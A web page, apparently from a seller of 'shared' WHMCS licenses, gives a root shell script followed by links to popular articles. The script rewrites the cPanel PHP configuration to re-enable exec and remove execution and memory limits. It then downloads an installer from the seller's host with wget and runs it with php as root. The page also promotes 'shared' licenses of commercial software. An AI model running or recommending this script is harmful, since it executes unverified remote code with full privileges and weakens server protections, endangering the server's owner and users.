rm -rf /root/main_phpD.txt && rm -rf /root/phpD_finder.txt
php --ini >> /root/phpD_finder.txt
grep -o '/opt/cpanel/ea-php.*/root/etc/php.d' /root/phpD_finder.txt | head -1 > /root/main_phpD.txt
sed -i -e 's/php.d/php.ini/g' /root/main_phpD.txt
sed -i 's/,exec//g' "$(< /root/main_phpD.txt)"
sed -i 's/exec,//g' "$(< /root/main_phpD.txt)"
sed -i '/disable_functions =/c\disable_functions = passthru,shell_exec,system,proc_open,popen,parse_ini_file,show_source' "$(< /root/main_phpD.txt)"
sed -i 's/.*max_execution_time =.*/max_execution_time = 30000/' "$(< /root/main_phpD.txt)"
sed -i 's/.*memory_limit =.*/memory_limit = -1/' "$(< /root/main_phpD.txt)"
wget http://license.whmcsreseller.com/sourceguardianinstaller > /dev/null 2>&1
php sourceguardianinstaller
Most Popular Articles
What is Our WHMCS Life WHMCS License?
Tested : %100 Working and %100 Safe. Web Hosting Automation Made Easy. All the tools you need to...
What is a shared license?
What is a shared license?It is a genuine license that is shared with multiple domains. when each...
Guide For Theme Setup
WHMCS NEW PRRICING SHOCKED ALL HOSTING PROVIDER - GET SOLUATION HERE
WHMCS NEW PRRICING SHOCKED ALL HOSTING PROVIDER: Hi Everyone, Today whmcs changed pricing and...